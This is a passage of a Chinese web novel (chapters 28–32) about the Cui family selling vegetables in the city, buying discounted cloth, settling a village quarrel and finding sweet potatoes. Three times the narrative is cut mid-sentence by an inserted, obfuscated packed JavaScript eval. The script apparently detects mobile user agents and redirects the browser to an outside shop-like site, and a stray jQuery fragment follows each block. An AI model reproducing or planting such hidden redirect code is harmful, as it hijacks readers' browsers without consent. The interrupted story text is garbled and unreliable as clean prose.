“十文三张太便宜了,我按照原价给你们。”店主也是豪爽人,一边点钱一边千恩万谢,“若不是碰巧你路过,用一张棉被灭了火,还不知我这店要烧成什么样,真不知怎么谢你。”
崔三娘也就不客气了,按照原价收了钱:“举手之劳,不必放在心上。”
这厢正说着话,那边崔云南推着板车走了来,老远就扯着大嗓门喊:“原来你们在这,叫我好找,不是说在那边牌坊下汇合吗?”
崔三娘高声回应了一句:“我们正要往那边去呢。”
说话间,崔云南已经推着板车走近了,崔三娘扫了一眼,刚才崔四娘说果蔬卖了一部分,这哪里是卖了一部分,分明是没大动,那些萝卜白菜南瓜仍旧满满当当堆在板车上。
崔云南的脸色绿得和白菜差不多,小声嘀咕:“这菜可真难卖啊。”
店家将酱香饼交给伙计,吩咐他用小灶简单热一热,回头看见崔云南:“这位是?”
崔三娘介绍:“我哥。”
“哦,难怪瞧着有几分相像。”店家十分感激崔三娘方才仗义出手,看了看板车上的菜,立时拍板,“这些菜蔬我都要了。”
这饭馆后厨地上原本堆满了菜,经过火缭烟熏,有部分是不能要了,店家本就要采购新菜,但也要不了板车上那么多,这是故意帮他们呢,崔三娘也承店主的情:“多谢多谢。”
崔云南已做好了回家挨骂的打算,这下柳暗花明,喜得眉毛一扬,忙按照店家的指引,将菜蔬搬运到店铺角落堆放好:“老板你是好人,我给你实惠价。”
“往后有新鲜菜蔬,鸡蛋野味啥的,都可以往我这里送。”店家乐呵呵,颇有几分自得,“别看我这地方小,却是远近有名的老字号,熟客多,每日的肉菜要消耗百多斤!”
29. 第 29 章
结算完菜钱,店家得知他们还没吃午食,又热情的留饭。
人家厨房的火刚灭,店中还有很多琐事,崔三娘笑着婉拒了,一家子推着空荡荡的车,寻了家小巷里的小馆子坐下。
不是饭点,馆子里只有他们一桌客人,很清净,也方便说话。
崔云南将板车靠在店外的槐花树下,攥着沉甸甸的荷包眼睛都眯成了一条缝:“我今天挣了七十文钱!”
三十文是卖鸡蛋得的,还有四十文是菜钱。
崔老太太喝着粗茶瞥一眼:“你个没出息的,嚷嚷啥,捂好钱袋子,别被偷儿摸去。”
“哎,对对对。”崔云南说着将钱袋塞到怀中,“三娘,要不是你叫我进城,我今日不会来,我不来就挣不到这么多钱,这顿饭,我请了!”
崔三娘抿嘴一笑:“饭钱还是各付各的吧,咱在这吃一顿,得三十多文钱,你真要谢我,待会请我们吃芝麻糖片吧。”
崔云南脸红了,挠着头:“这在城里吃顿饭,要花这么多钱啊。”
“我们吃的还是小馆子,要是去大酒楼,三十文还不够买杯茶。”崔三娘托着腮,“你从前不是老跟我二哥来城里么?你们没在城里吃过饭?”
崔云南提起桌上的大铜壶倒茶喝:“当然吃过,吃过好几回!”
说着声音弱下去:“每次都是别人或崔二请客,我没付过钱。”
说起来,他真有些想崔二了,崔老太太攥着茶杯默不作声,大概也在想崔二郎,崔三娘赶紧打破这沉闷的气氛,对店家喊:“点菜!”
这是一处前店后屋的小夫妻店,店主婆婆在边上摘菜,店老翁在后头院里劈柴,店门口还栓了几只鸡在啄草和小石子,阳光洒在店前的青石上,倒有几分闹中取静的滋味。
因为是简陋的夫妻小店,也没正经菜单,都是时令菜色,店主婆婆丢下手头上的活儿:“荤的有鸡蛋、熏牛肉、新鲜的鱼、猪腿肉,素的有萝卜、南瓜、青菜、豆腐,几位要吃什么?”
在外面吃饭,当然要吃平日在家很少吃到的了,于是崔三娘点了鱼和豆腐。
“再要一碟熏牛肉。”崔云南加了道菜。
一盘三两的熏牛肉十五文钱,崔云南自豪的拍了拍钱袋子:“牛肉我请客!”
不大一会儿,一大钵热气腾腾的水煮鱼和一大盘香油拌豆腐就端上了桌,再加上颇有嚼劲的卤牛肉,三个菜大小五个人,倒也吃得热火朝天。
崔三娘吃着鲜嫩的鱼肉,同继续摘菜的店家婆婆搭话儿:“这鱼滋味真好,是菜市场买的鱼吗?”
店家婆婆摇头:“是山里的猎户送来的,比市场的鱼要好,市场的鱼是河鱼,个头大肉质一般,猎户送来的是小溪里的鱼,个头虽不大,味道却是顶呱呱。”
崔三娘恍然的哦了一声:“难怪这么鲜甜,你这常有猎户送鱼来吗?”
那老婆婆笑笑:“哪能啊,是你们运气好,赶上了,山上到城里好几十里的路,他们难得来一回。”
一顿饭吃完,个个胃里沉甸甸,都捂着肚子不想动弹。
那老婆婆一边收拾碗筷,一边笑:“这是饭困,在我这歇会儿再走吧。”
崔老太太笑得有些不好意思:“不会耽误你做生意吧。”
“不耽误,这个点没有人,我老头子后头午歇去了,有你们在,正好陪我聊聊天。”店主婆婆是个爱说话的,往膝盖上放着一篓米,在捡里头的谷粒。
崔老太太搬张凳子坐到她对面,帮她一块捡谷粒:“这铺面是你自家产业?你们手艺这样好,饭馆开了有年头了吧……”
俩老太太说话扯闲篇的声音越来越远,崔三娘俯靠在桌上不知不觉睡去。
醒来时太阳又偏西了不少,听街面上传来的更鼓声,已是未时中刻。
店家婆婆得知他们要扯布做衣裳,积极道:“这不巧了,往南去有条街专卖布匹衣裳,鞋袜手帕啥的也全部都有,我有个侄女叫红穗,就在那街上一家刘氏布庄做工,你们去问问,兴许有你们要的料子。”
崔云南架好了板车,崔老太太笑呵呵冲店家婆婆挥手:“多谢,我们去问问看。”
崔三娘一只手牵崔四娘,一只手牵崔五娘,三姐妹齐声开口:“婆婆再见。”
那店家婆婆霎时笑得合不拢嘴:“多机灵多听话的好孩子呀。”随即转脸对崔老太太叹,“有这样三个好女娃儿,老姐姐,你享福啦。”
走出小巷,一伙人按照店家婆婆的指引,很快就到了那条专营布匹鞋袜的街道上。
崔三娘发出了很没见识的感叹声,只见一条街上彩旗飘飘,各色货物在店铺中码放的整整齐齐,不少马车穿梭在街面上,忙着卸货码货。
看来大周的商业化程度,比她之前想的高上不少。
崔老太太也是第一次来这条街,在以前那些年月,她一年也难得进几回城,偶尔扯块料子,在集市上的小铺子里就能解决,今儿才算开了眼界,那些红的、绿的、紫色的缎子也不知用什么织造的,在阳光下金闪闪,特别好看。
“三娘,你们逛你们的,咱待会在这汇合。”崔云南道。
崔三娘冲他摆手:“没问题,我们就逛半个时辰。”
“这些衣料云霞似得,真漂亮。”
崔四娘崔五娘的嘴喔的都能塞下一枚鸡蛋了,抱着来都来了的态度,她们先将这条街从头到尾逛了一圈,崔三娘心里清楚,这里大部分绸缎锦绣都不是普通小户人家能穿得起的,何况是她们这样还欠了外债的人家。
崔三娘一直是个实用主义者,今冬的衣裳能保暖就成,美观是其次。
逛了一遭过了眼瘾,崔三娘又随机寻了两家问了下价格,吐吐舌,果真不是她们该买的,老太太摇头一个劲的叹:“京里的人个个都这么有钱?我看咱也不必选了,我看附近几条偏巷里也有不少卖布的,咱上那边瞧瞧去吧。”
“别急,前头挂黑金招牌的就是刘氏布庄,我寻老婆婆说的红穗姐姐打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480635|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听一下,兴许她知道哪里的料子最实惠呢。”崔三娘说着往刘氏布庄走。
身后崔老太伸长脖子:“刘氏……布庄?”她不识字,可三娘也不认识,“你咋认得这是刘氏布庄?”
大周的文字和现世差不多,只有细微的区别,她愣了愣,随后熟练到麻木的将锅扣在崔二郎身上:“二哥闲时教我读过百家姓,我连猜带蒙,觉得就是这儿,奶奶,我进去打听打听!”
崔老太太不由的泛起嘀咕:“二郎怎么什么都同三娘讲了?”
不过,打小他俩就要好,崔二郎最爱带三娘玩,有好吃的好玩的也第一个想到她,崔老太太也没多想,带着俩孙女在边上的石阶上坐下,歇脚。
“奶奶,快来,我寻到人了。”
才坐着将小腿肚捶了一遍,崔三娘就乐呵呵探出头,身后跟着位二十出头,挽着妇人髻的白净少妇,就是店家老太太的侄女红穗了,此时店铺里不忙,红穗手头上没活儿,因是姨妈介绍来的人,便放了耐心问她们想要什么衣料。
崔三娘也不藏掖着,直言她们手头紧:“要能保暖、实惠、耐穿的料子,红穗姐姐是布行的老资历,能否给我们介绍介绍,上哪儿能买到。”
红穗大概是受了风,一直在打嗝,因打嗝不雅,才搞砸了一单生意,心情也就不太好。
崔三娘刚讲完,红穗就又“嗝”了一声,像只被食物噎住的长脖鸭。
崔四娘崔五娘忍不住想笑,崔老太太手快,在俩小妮背上不轻不重的掐了一把,崔四娘崔五娘才忍了笑意,红穗叹口气,又“嗝”了一声:“叫你们见笑了,嗝,我这个毛病,一换季就有,嗝——”
这毛病不重,却很折磨人,崔三娘掏出自家带的水:“红穗姐姐,你喝口水再说话。”
红穗苦笑着摇头:“喝水也没用,嗝,照样打嗝。”
“弯腰喝水试试,这法子特好用,你听我的。”崔三娘将葫芦递给红穗,“小口小口,快些咽下。”
红穗满脸狐疑,但还是照崔三娘说的去做了,几口凉水下肚,她惊喜的瞪大眼睛:“当真止住了。”
“我就说这法子好吧。”崔三娘收好水葫芦,“不过这治标不治本,红穗姐姐你还得找大夫瞧,我曾听人说,经常打嗝或许是脾胃出了毛病,试试养胃的方子,没准有奇用。”
因这打嗝的毛病,红穗已想了无数办法,可惜都没甚效果,听了崔三娘的话她抱着死马当作活马医的心情点了点头:“改日我寻大夫问问。”
说回到衣料的问题,刘氏布庄只售高档货,显然没有崔三娘所期待的实惠货,但近日码头来了一船被水氤湿的面布,布料串了色,货主只好打折卖。
只是那已是半月前的事情,也不知货甩卖完了没有。
红穗原不想多管闲事,但崔三娘一行是姨妈介绍来的,又刚交给她一个快速止住打嗝的办法,她想了想,转身进到铺子里同掌柜告了半时辰的假。
“我陪你们走一趟。”
30. 第 30 章
崔云南买了簪子回到约定地点,等了片刻,没见崔三娘她们回来,便又去逛了一圈。
这次,他买了一小盒香粉,香粉盖子上烧制了两只蝴蝶,他看着斑斓的蝴蝶心情美得冒泡,只是等了许久,崔三娘她们还是未归,崔云南坐不住,推着车又回到刚才光顾过的脂粉铺,买下一盒茉莉花香味的头油。
直到他反复逛了四五次,眼看日头都要落岭,崔云南着急起来,不会路上遇见事了吧?
在城里他没熟人,只从前和崔二去城南巡检司给崔大送过一回东西,可城南巡检司往哪边走来着?再说,桂嫂子刚生了娃娃,崔大在家陪老婆孩子,也不在衙门。
一筹莫展之际,街道另一边终于远远走来一行人,定睛一看,正是叫他苦等一个多时辰的崔三娘她们。
只见崔老太太提着个大包袱,崔三娘抱着个包袱,就连崔四娘崔五娘也合力抬着个包袱。
“过年了?买这么多东西。”崔云南麻利的接过几个大包袱甩在车,“你们上哪儿去了,又不按约定时间回,吓得我差点报官。”
“去了趟远地方买布,回来看见实惠的调料和糖,忍不住又买了点。”崔三娘安抚的拍拍崔云南的肩膀,又掏出一块加了玫瑰蜜的饴糖哄他,“别生气。”
崔云南沉了下肩:“得啦,我不气,平安回来就好。”
否则真不知道怎么向崔大交代。
眼看暮色将至,一行人加快步伐往城外走去,吹着微微泛凉的风,崔三娘的心情格外轻松,连脚步都轻快了不少,还和崔四娘崔五娘哼起了从前在渡口卖饼时唱过的歌谣。
崔云南加快脚步,推着堆满货物的板车,双颊泛着红,眼眸被夕阳耀得眯成一条缝,看上去心情也格外好。
崔四娘心生好奇:“云南哥,你买了什么呀?”
“保密。”崔云南愉快的答,脚步迈的更快了。
崔三娘噗的一笑,她能百分之百确信,崔云南是有心上人了,和她们分头行动的时候,他一定是给心上人买礼物去了,不过,碍于原主还是个小姑娘,崔三娘只能憋着,开不了半点玩笑。
一路紧赶慢赶,终于在落日余晖彻底消失之前,他们抵达了黄石村的村口。
崔二爷爷家比崔三娘一家更靠近村口,崔云南的娘宋氏已倚在院门前等儿子了,她看见板车上只有几个大包袱,菜蔬和鸡蛋都不见了,喜得嘴都合不拢。
崔云南要送崔三娘她们回家,再返回自个家,宋氏连连应好,转身回到自家屋里后,对婆母周氏笑呵呵开口道:“娘啊,真是奇了,云南今日拿那么些菜蔬进城,居然卖了个精光,莫非三娘有什么生意经不成,往日我们去赶集卖货,那瓜果菜蔬,哪回卖完过呀。”
周氏正接着豆大的油灯在捻麻线:“真的?哎呀,等云南回来咱们问问。”
另外一边,崔三娘他们回到院里,林氏已烧好了暮食,温在灶头就等崔三娘他们了,说什么也要留崔云南用饭,崔云南也没客气,挨着小木桌坐下,和崔三娘她们吃了顿杂粮粥配南瓜,外加一碟子酱菜。
白日奔波不歇,体力消耗大,暮食吃清粥小菜也有滋味的很,一大罐粥愣是见了底。
崔三娘在饭桌上问早上金大魁的事。
黄石村有村长,还有保长,隔壁村还住着里正,村子里出了纠纷,大多由村长处理,村长一般还会顺便将保长喊来,像今日这种恶劣的事,里正自然也要来。
“和我预先想的一样,村长的女儿嫁给了金家人,他当然帮金大魁说话,好在保长还算公正,要金大魁向咱们道歉,还要他赔我们一吊钱。”崔大郎捧着粥碗,慢慢说早上的情形。
崔老太太看看大孙子,又看看家人的脸色:“你收钱了?这事……就算了了?”
怎么想,怎么有点憋闷。
崔大郎淡淡一笑,视线落在花纹斑驳的木桌,有点冷,又透着一股坚定:“当然没有,我坚持要报官。”
这下崔三娘感到有点意外,在原主的记忆中,崔大郎一惯斯文隐忍,与人为善,换句话说,耳根子有些软,是宁肯退一步海阔天空,也不愿与人争执的那种好好先生。
“你们是没看到,听到大郎坚持要报官,金家那几个急得跳脚,在咱家门口又闹又骂,不清楚内情的还以为是我们崔家犯了错呢!真气煞人!”林氏接过话茬,咂咂嘴,“好在我们人多,亲戚邻里也有几十口子人,再说我们占理,不怕他们那些臭虫,哼!”
“后来呢?”崔云南喝口粥,瞪大眼睛问。
崔大郎声音低沉:“后面闹得不可开交,保长做见证,由金大魁家出五两银子做赔偿,立下字据,双方签字画押,今后再犯,一定绑了送到官府里去。”
话说完,饭桌上一时安静到极点,良久,崔老太叹口气:“村上村下的邻居,虽然不和睦,真把人家孩子送到牢里去服苦役,外面人指责起来,一人一口唾沫也能把咱们淹了,这事大郎处置的很好,不过这五两银子拿着真烫手。”
崔三娘也没真想过要送金大魁下大狱,毕竟这世界不似后世是法制社会,说难听些,大周是个落后的人情大于法的封建王朝,崔大郎故意将事情闹大,搞得满村风雨,就是要在可行范围内,将自家利益最大化。
林氏往大家碗里拨酱菜:“这五两银子大郎有好法子处置,大郎你快说。”
崔三娘忙将目光重挪到崔大郎身上,只见灰暗的烛火映照下,崔大郎的面孔有些陌生,他将碗搁下:“我准备拿三两银子买面粉,大概能买三百斤,村里七十多户,每户能分五斤左右,就说谢谢这些年乡邻的照顾,也表示咱家不是为了钱,才揪着金大魁不放。”
“至于剩下的二两,买些木材和泥砖,把院墙重新修一修,加高加固,你们觉得怎么样?”
“非常好!”崔三娘鼓起掌来,“有勇有谋,有张有驰,大哥,你的处置简直是完美!”
小跟班崔四娘崔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480636|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五娘也立刻跟着鼓起掌,崔云南虽然听不懂这白送村人面粉的处置方法怎么就高明了,但大家都鼓掌,他也跟着鼓掌,还鬼精鬼精的问:“大哥,金大魁那小子可是我捉住的,我家能不能多分五斤?”
崔大郎一笑:“没问题。”
崔老太太和林氏相视而笑,心里极慰藉,真好,孩子们渐渐能撑门立户了。
另一边,崔三娘夹起一颗腌制入味的酸藠头嚼得咯吱响,不知为何,她总觉得大哥与以前不同了,更果断更利落,少了以前的优柔寡断。
不管怎样,这是好的变化。
-
吃罢暮食,收拾好碗筷,崔三娘点起油灯,兴奋的和家人看今日在城里买到的物品。
盐、香油、香料、砂糖、红糖等灶间调料不提,最叫崔三娘满意的是两卷蓝色的棉料,这棉料非常厚实,经纬交织,细密而整齐的制似格子的纹路,一看就很高级,唯一美中不足的是上头不规则的浮着些白点,有些白点有米粒大,有些有巴掌大,显得这料子有点脏。
不过,若不是有瑕疵,货主也不会以八文一尺的价钱贱卖给他们。
这两卷布足够给家里每人做套衣裳,只花了六百文钱。
崔老太太会裁剪,抚摸着衣料笑得见眉不见眼:“明日天亮了我就裁出来,再请几个手艺好的妇人,争取三五天就将新衣裳做出来。”
林氏在瞧料子里不规则的白点:“这些点子倒不难看,裁剪的时候尽量避开,实在避不开的绣上些花纹,应该没太大的影响,只是费些功。”
“没错。”崔老太太将衣料叠起来,“碎布头还能做鞋垫,做荷包,哎呀,咱家多少年没这么阔绰了。”
崔三娘将油灯挪开,免得灯焰不小心烧到衣料,又拧毛巾擦脸:“也多亏红穗姐引荐,不然咱就要两卷,人家还不一定卖呢。”
这话极是,老太太拍着大腿十分快慰:“幸好咱去那巷里吃了顿便饭,这一事套一事,偏一点都交不着这好运道呢。”
一家子正说话,院子外头响起崔云南的嚎叫,间夹着他娘周氏的叱骂:“说老实话你!今日你挣的钱到底哪儿去了?走,快过来,我要当面问你大奶奶!”
崔云南的大奶奶,自然是崔老太了,崔老太擎着油灯,一手挡风,迈步到院子里拉开院门:“这在闹腾什么呢?哎呦,云南老大一孩子了,秋兰啊,可不兴打他了,男娃子被打多了会失了男子气概,还怎么当家做主!”
秋兰是崔云南母亲周氏的闺名。
院门一开,周氏就揪着崔云南的耳朵冲进了院里,前一秒对崔云南还恶狠狠,下一秒对着崔老太太嘴一瘪鼻一酸,淌下泪来:“我也不想打他,实在是这孩子不争气,大伯娘你知道的,家里人多负担重,日子一直紧巴巴的,偏这孩子呆呆笨笨,还一点不知道打算。”
崔三娘这时也闻声走到院里,只见周氏恶狠狠指着崔云南:“你说!你今日是不是去赌了?!”
31. 第 31 章
赌?崔三娘眼皮一跳,古往今来,赌绝对是败家子才有的习性。
崔四娘崔五娘也跟着奔出来。
“今天我给了他十个鸡蛋,两大筐菜蔬,货是卖完了,钱却没见到一分,问他钱到哪里去了,愣是一声也不吭,他从前就——”说到这里周氏打了个噎,看崔老太太一眼,“我没别的意思,可那也是事实,崔二从前在家时,就带我家云南去过赌场,还把我娘家陪嫁的银镯子赌输了,花了三两多银子才赎回来,我怕云南是又手痒痒了。”
崔三娘想了想,记忆中是有这回事,但崔二郎是赌赢了,还给她买糕饼吃,崔云南却输了银镯,最后崔老太太用扫帚揍了崔二郎一顿,还将他花剩下的二两银子贴给周氏赎手镯。
不过,后来原主瞧病,周氏又将二两银子还了回来,还多给了五百文,总之,一家子亲戚,你来我往,这些钱物粮米是算不清楚的,周氏大大咧咧,也没甚小心思,就是见儿子卖完了货没往家拿钱,心里膈应着急。
崔老太太唬了一跳,暗骂崔二郎作孽,又把崔云南揪住,细问今日分开的那段时间,他究竟去了哪里。
院里一阵闹腾,刚将女儿哄好的崔大郎也走出来,披着外裳满脸严肃:“云南,快说实话。”
眼见事情越闹越大,不是保持沉默可以解决的了,抱头蹲在地上的崔云南爆发了:“我没赌,就以前和崔二去过两次,后面再没去过,说谎话我是狗,成了吧!”
周氏双眼一瞪:“那钱呢?长翅膀飞走了?”
现场一片沉默,最终崔云南叹口气,从怀里掏出个荷包:“在这里,我买东西了。”
周氏一把扯过荷包,将里头的东西往外倒,紧接着,现场更加沉默了,荷包里倒出一只绒花簪子,一盒香粉,一瓶头油,还有一小对镀银的耳坠。
全是女儿家的物件,这明摆着是崔云南预备送哪位小妮的礼物。
“哎呦,这下闹明白了。”崔老太太赶紧将那些物什往荷包里装,“可别弄坏了。”
同时心里想,她活了大半辈子,做了半辈子崔家妇,何时收到过这些精致的小礼物,别看云南这娃有些呆愣,却是个知冷热的好男子,如此想着,眸里就带了笑。
而周氏讪讪的,心里涌起的则是悲凉了,看这几样东西,没百多文下不来,看来崔云南不仅将今日挣的花了个精光,平时攒的私房钱怕是也花了去。
古话说娶了媳妇忘了娘,她这倒好,儿媳妇还没进门,儿子已满心满眼都是老婆了。
不过,这总比去赌坊鬼混要强的多,周氏心里又松快了几分,继续瞪崔云南:“干嘛不早些说,害得我大晚上扯你到这来,这不是打扰人家休息嘛。”
崔三娘提了灶上温的热水,让崔四娘取摞泥碗出来,笑眯眯的:“算不上打扰,大婶娘,我正有事想同你说呢,我们去堂屋讲。”
周氏暗暗惊了一下,看三娘这一本正经说话的摸样,竟褪去了孩童的青涩,有了成人的稳妥,和从前完全是两样的人。不过,人经历了大病大坎,有变化是正常事,而且听儿子说,崔家大房这厢做吃食生意,全是崔三娘做主,因着这点,就不好把崔三娘再完全当孩子看了。
“嗯嗯,有啥要说的,三娘你尽管直说。”
周氏隐约有些期待,不过当崔三娘将全盘计划说出后,她还是又惊又喜,惊的是三娘一个十二三的孩子,还是个女娃,竟有那么大的筹算,喜的是自家不中用的儿子,有机会抱大腿,跟着分一杯羹。
崔三娘的想法很简单,他们虽然活在皇城脚下,总体太平,但做买卖什么牛鬼蛇神都会碰见,还有潜在的红眼病不得不防,崔云南年轻力壮,有功夫,又是自家近亲,更重要的是人还不太聪明,是最合适的帮手兼保镖。
“大婶娘,您喝水,慢慢想,想好了再答应我。”崔三娘倒了碗温水,轻轻推到神情有些怔愣的周氏面前。
今日回村的路上崔三娘就先将请崔云南入伙的事告诉了他,因此崔云南一点不意外,扭头见自家娘一个劲的喝水,也不说话,忙伸出腿,在桌下踩了周氏一脚。
周氏不防,痛得直咧嘴,狠瞪儿子一眼后,冲崔三娘露出一个大大的笑,笑得眼角的皱纹挤成一堆,她是真高兴,并谦虚的说:“云南力气是有的,人也老实听话,就是不太灵活,三娘,你雇他,就是他东家了,有事还得多担待。”
崔云南立刻大喊:“我哪里不灵活了!”
崔三娘噗的一笑,乐呵的接话:“那事情就这样说定了,云南哥可以顺便卖自家的农货,生意好时我给他提成,总之,每个月保证云南哥到手不少于半吊钱。”
一个月半吊钱,一年下来就是六两银子,而且还是最少六两,周氏的心情像在坐船,一荡一荡,晃悠的她头晕,她喃喃道:“真好,我们云南若一年能挣回六两银子,我还愁什么。”
-
这几日崔三娘都不准备出摊了,原因很多,要裁衣裳,要赶制山楂糕,另外,地里的花生、红薯都熟了,得赶紧去收,除了这些,还要烧一烧垒好的泥窑,看看前些日子密封发酵的腐乳情况如何,总之,有许多要忙的事情。
天已经亮了,崔三娘听着公鸡喔喔叫早,哼哼一声将被子扯过头蒙起,又睡了半个时辰才打着呵欠起来。
不出摊的日子不必起早,她想多睡一会,家里也没人叫她,等她睡足套上衣裳走出屋,就闻见一阵阵焦香的烤红薯的味道。
崔四娘透过窗户看见三姐起来了,高兴的喊:“阿姐快来,我们烤的这几只红薯可甜了,又糯又软,给你留了两个,快来吃!”
黄石村这一片种的都是噎得人翻白眼的白薯,不怎么甜,难得遇见几只滋味好的,崔三娘很兴奋,加快速度洗脸漱口,然后往灶间去:“在哪里?给我尝尝。”
崔五娘赶紧用木棍将埋在灶灰里的两个红薯扒拉出来。
红薯在灶灰里埋太久,外皮被灶灰泡成全了白色,微微还有点发烫,崔三娘左手倒右手,倒腾了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480637|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好一会,红薯的温度才变成皮肤可接受的程度,她先将灰皮和里面被烤焦的部分扒掉,露出冒着热气的内瓤,出乎意料,内瓤不是一般白薯的乳白色,而是南瓜黄,或者说,这根本不是白薯。
崔三娘咬了一口含在嘴里,咀嚼两下,一股又甜又绵的薯香气弥漫在舌尖上,她不禁高声说道:“这是蜜薯呀,甜滋滋的,四娘,五娘,你们从哪里拿的?”
“就在地窖里拿的。”崔四娘见三姐吃得高兴,双眸也弯了起来,还贴心的递了杯水来,“阿姐,还有一个呢,你吃慢些。”
为了储存粮食,黄石村各家都有地窖,但不似北方那么深和宽,基本只有两三丈深,七八岁的小孩子都能轻易的进出,上面盖着木板。
崔三娘想吃蜜薯很久了,这愿望骤然被满足,她非常高兴,小口小口享受完难得的甜蜜,喝了一碗温水,拍拍灰,迫不及待地打开了地窖的盖子,可惜翻找了半天,也没找见一个蜜薯。
崔老太太在水井边的大石头上磨剪刀,看着有些失望的孙女道:“这种甜滋滋的黄色红薯不多见,偶尔才有几个,你爱吃的话,我去村里同其他人家换一些。”
蜜薯虽好吃,但也不是天天要吃,崔三娘刚想摆手拒绝,突然想到,若以蜜薯做种子,是不是就可以种出成片的蜜薯呢?有蜜薯,就能做烤红薯,做红薯干,这蜜薯和大周常见的红薯不同,一定有销路。
想到这点,拒绝的话说不出口了,崔三娘提起一个竹篮:“我去找云南哥,现在就叫他和我一起去村里换蜜薯。”
说着就往外去,崔五娘要负责看火烧热水,只能眼巴巴看着崔四娘也提一只篮子,追着三姐出了院门。
崔三娘一秒也不想耽搁,毕竟蜜薯好吃,她怕晚些这种稀少的红薯被人挑出来吃光了。
赶紧换到手才能心安。
崔云南正在给家里打水。昨夜回家后,周氏把崔三娘雇崔南云的事儿一说,全家都很高兴。
不过,崔云南总觉得娘看自己的眼神有点不对,像藏着一股子气,崔云南对这种眼神太熟悉了,每当他打了架或者偷偷进了林子深处后,娘就会用这样的眼神盯他。
他再呆也学乖了,为了哄他娘高兴,起了个大早,给家里劈了许多柴,又去提水,把个半人高的水缸填的满满当当,若崔三娘不来寻他,他还准备喂猪打扫鸡舍呢。
“三娘,你说的那种蜜薯,我正巧有一篓,都给你。”
崔云南说着掀开自家地窖的木板,提出一只沉甸甸的篮子。
崔三娘蹲到竹篮旁边,一只一只拿起细看,嘿,还真是蜜薯:“全是你家地里的?”
“哪能啊。”崔云南用鞋尖碾着地上的杂草,声音含糊,“特意换来,给别人吃的。”
至于别人是谁,从崔云南红的要炸的耳朵就能猜出来,崔三娘没有夺人所爱的惭愧,全是半路截胡的庆幸。
“等我把蜜薯大批量种出来,送你两麻袋,不过,这事暂时还得保密啊。”
32. 第 32 章
周氏在屋里生闷气,她生了三个儿子,一胎接一胎生下男丁,起初别提多自豪了,可惜儿子一个个长大,都搂着老婆孩子亲亲热热过日子,她觉得自己成局外人。
幸好最小的儿子崔云南还算孝顺,可现在也有了心上人,还为了讨好人家买了那么多礼物,周氏越想越觉得憋屈,踢丈夫崔保田一脚:“和你说话呢!聋了没听着?!”
崔保田正在扎扫帚,瞥妻子一眼:“这不是正常吗?不和老婆孩子过日子,难道拴你裤腰带上过活?”
一句话怼得周氏哑口无言,理是那个理,可崔保田说的话一点不中听,恰好崔三娘崔四娘来了,周氏哼一声走出屋,刚才还冷着的脸见到崔三娘后变得笑眯眯。
“吃过早饭没,我今日蒸了杂粮窝头,软软的,你们吃吗?”
崔三娘站起来喊了婶娘好,崔四娘也跟着喊,随后笑着说:“吃过了,谢谢大婶娘,窝头我们就不吃了。”
周氏却客气得很,用碗扣了六七个鸡蛋大的窝头,不由分说搁在崔四娘篮子里:“拿着,我蒸的窝头好吃,特别暄软,你嫂子做月子也吃得。”
崔三娘和崔四娘也就没推脱了,收下后又一齐道谢。
她俩要回家去,崔云南于是帮忙提着那篮蜜薯,也要跟着去崔三娘家帮忙,今日他就算正式“上工”了。
望着仨孩子的背影,周氏有些愣神,更后悔当年生了一窝猴崽子,要是有个闺女,哪怕只有三娘一半可心,她该有多幸福?
哎呦,她这命呐。
-
这头周氏喟然长叹,那边金家老太太正在院里晒衣衫,从崔云南家到崔三娘家,除非绕远路,否则刚好要从金家大房门口路过。
金老太太年纪和崔老太老不差几岁,从金大魁等子孙的做派,就能倒推出金老太的为人,那也是个人精,见崔三娘和崔四娘打门前经过,眼底顿时闪过阴恻恻的光,隔着一道篱笆院墙瞪还不过瘾,端起旁边的木盆,猛然拉开了虚掩的院门。
“哗啦”一声。
只要崔三娘再走快几步,这盆脏水就要整个儿弄到她身上。
“哎呀,倒水也不看路,眼睛长胳肢窝了?”崔云南嚷嚷开。
金老太太一双极瘦极凹的眼睛狠瞪他们一眼,哐当把门关上了,随后嘀嘀咕咕又细碎的咒骂声隔着门板传出来,“不要脸”“诓钱”“死丫头”等字眼,乃至更恶毒的诅咒不断的像潮水一样涌出。
村里的老太太骂街,基本无人可敌,崔四娘气得跳脚:“三姐,我们回去告诉奶奶!”
恐怕也只有崔老太太有能力与金老太太一较高低。
崔云南在一旁帮腔:“我娘也行!”
他娘今天心情不好,没准和金家老太对骂一场后就雨过天晴了呢。
崔三娘耐着被金老太挑起的怒火:“不用。”
今日家里在裁新衣,她不想因这莫名其妙的人影响家人心情,但气也不能白受,正好金家大房对面有个小山坡,正有一群半大孩子在玩“攻城”游戏,你追我赶嬉笑声不断,里面有几个大男孩,应该是那群人的头儿。
